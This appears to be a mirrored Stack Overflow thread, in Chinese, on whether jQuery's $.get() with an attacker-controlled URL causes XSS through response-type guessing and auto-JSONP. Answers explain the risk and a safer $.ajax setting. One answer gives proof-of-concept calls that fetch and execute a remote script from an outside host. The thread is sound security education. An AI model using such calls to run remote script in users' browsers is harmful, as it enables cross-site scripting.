D.W*_*.W. 21 security xss ajax jquery json
我最近了解到,调用不受信任的URL$.getJSON()是不安全的.怎么样$.get()?$.get()当URL参数来自不受信任的来源时,jQuery是否可以安全地调用,或者这是不安全的?
这出现在我正在进行的安全代码审查中,以检查XSS漏洞.示例代码模式:
$.get(url, function (...) { ... })
Run Code Online (Sandbox Code Playgroud)
如果攻击者url恶意选择此代码模式是否会创建XSS漏洞?
请假设该函数将安全地处理来自AJAX请求的响应,并且url来自不受信任的来源(例如,其他一些用户)并且可以完全由对手控制.
我关注的是:如果url被攻击者选中,攻击者是否可以选择恶意URL(例如,包含callback=?并指向他们自己的站点,或类似的东西)导致jQuery猜测数据类型应该是JSONP,启用JSONP,在文档中插入脚本标记,并以与getJSON()相同的方式引入XSS漏洞?(因为我没有传递一个明确的dataType参数$.get(),jQuery会猜测数据类型,如文档中所述.我不确定它的安全含义是什么.)
我在代码审查中遇到了这种代码模式,我试图了解它是否是一个潜在的漏洞.我不是在寻找可以编写代码的替代方法; 相反,我想知道这种代码模式是否安全.
由于威胁模型有点棘手,让我举一个例子来帮助更好地理解这一点.假设Bob是该服务的用户,他可以提供与其个人资料相关联的URL.假设当Alice在浏览器中访问Bob的个人资料页面时,页面上的Javascript代码会获取Bob提供的URL并将其作为参数传递给$.get().问题是,这样安全吗?鲍勃可以用它来攻击爱丽丝吗?Bob可以触发Alice的浏览器执行任意的Javascript代码,拥有Alice的所有权力吗?正如相关问题所解释的那样,$.getJSON()在这种情况下是不安全的 - 但是呢$.get()?它也不安全,还是安全的?
由于我收到了一些澄清请求,让我尝试以不同的方式解释/提出问题.假设我正在进行代码审查以检查某些Javascript代码是否包含任何XSS漏洞,我看到以下代码行:
$.get(url, function(resp) { /* do nothing */ });
Run Code Online (Sandbox Code Playgroud)
假设我知道url攻击者可以完全控制它.这是否自动成为XSS漏洞?或者这总是安全吗?或者如果答案是"它取决于",它依赖于什么?
或者,另一种思考方式.假设我正在进行代码审查,我看到以下代码行:
$.get(url, f);
Run Code Online (Sandbox Code Playgroud)
假设我知道url攻击者可以完全控制它.我需要检查什么,以验证这是否安全(没有XSS错误)?我知道我需要检查代码f是否安全地处理响应,因为如果f不小心它可能会引入XSS错误.我的问题是:我唯一需要检查的是什么?或者这个代码模式总是一个XSS漏洞,无论f编码方式如何?
bob*_*nce 10
如果攻击者恶意选择URL,此代码模式是否会创建XSS漏洞?
编辑:是的,但不是你问题中的原因.
奇怪的auto-JSONP功能在内部应用于AJAX请求ajaxPrefilter("json jsonp").因此它适用于json预过滤器列表,但不适用于其他类型或默认值*.但是,prefilters在响应发生之前应用,因此这不会因为服务器回复类似JSON的类型而发生.
(目前 - 从1.11.2开始 - 这些文档getJSON没有描述这种潜在危险行为正好引发的情况.而且文档中get并ajax没有提到auto-JSONP.所以也许它应该被认为是bug.当然,鉴于这是多么糟糕的指定,我不会依赖它在jQuery的未来版本中保持不变.)
它易受攻击的实际原因(如framp和牙刷所示)是没有dataType参数jQuery会从响应中猜出一个.如果攻击者的URL命中一个像JS一样的资源Content-Type,jQuery会猜测它是JavaScript和eval它.注意:为了使AJAX请求足以使其工作,对于第三方服务器上的资源,它必须包含CORS头.
$.get(url, function (...) { ... }, 'json');
Run Code Online (Sandbox Code Playgroud)
此版本不容易受到响应类型的猜测.但是,它很容易受到auto-JSONP过滤器的攻击.
为了安全起见,你必须既设置dataType选项和,如果该选项json,也是jsonp: false选项.不幸的是,您无法jsonp在get()方法中设置选项.你应该可以通过传入一个选项字典而不是参数来做到这一点,但你不能,因为这个API目前完全不起作用,因为jQuery是一个令人遗憾的混乱的破坏的Do-What-I-Mean API其行为它(越来越)难以预测.
因此,从不受信任的URL获取JSON的唯一安全方法是通过基本方式ajax:
$.ajax(url, {dataType: 'json', jsonp: false});
Run Code Online (Sandbox Code Playgroud)
jQuery.get 确实会造成XSS安全风险.
如果你查看jQuery的源代码(或者文档jQuery.get),你会看到它jQuery.get并且jQuery.post只是包装器jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.
这里有两个问题:
dataType是jsonp,或者URL在结束=?与dataType是json,jQuery将设法使JSONP请求,然后eval脚本.dataType是json并且jsonp选项设置为false.所以,如果你设置dataType到json,并jsonp到false,它是安全的调用jQuery.get一个未知的URL.
$.get(url, function(...) { ... });
Run Code Online (Sandbox Code Playgroud)
$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });
Run Code Online (Sandbox Code Playgroud)
这取决于.
TL; DR是的,在某些情况下它是不安全的.
如果:
然后攻击者可以在您的页面上执行JS.
一个具有匹配协议的恶意服务器,正确的CORS头文件(Access-Control-Allow-Origin: *)将能够在您的页面上执行JS,这要归功于来自Content-Type标头的jQuery自动检测(对于JS将是这样script).
您可以在stackoverflow上尝试此页面的示例(假设您已启用http):
$.get('http://zensuite.net/js/alert.js', console.log.bind(console));
Run Code Online (Sandbox Code Playgroud)
如果您想查看未设置CORS标头会发生什么:
$.get('https://zensuite.net/js/alert.js', console.log.bind(console));
Run Code Online (Sandbox Code Playgroud)
相反,在谈论您的假设时,您可能无法使jQuery将正常的XHR请求转换为远程包含脚本.
在简要查看代码后,我认为这不可能发生(除非某处有错误),因为只有在要求传输之前才能切换到"远程脚本模式",如果你dataType是
json当URL匹配rjsonp正则表达式时/(=)\?(?=&|$)|\?\?/;jsonpscript这些也很脆弱:
$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');
Run Code Online (Sandbox Code Playgroud)
这当然与问题无关,因为您可以使用它$.get来执行远程代码.
| 归档时间: |
|
| 查看次数: |
2053 次 |
| 最近记录: |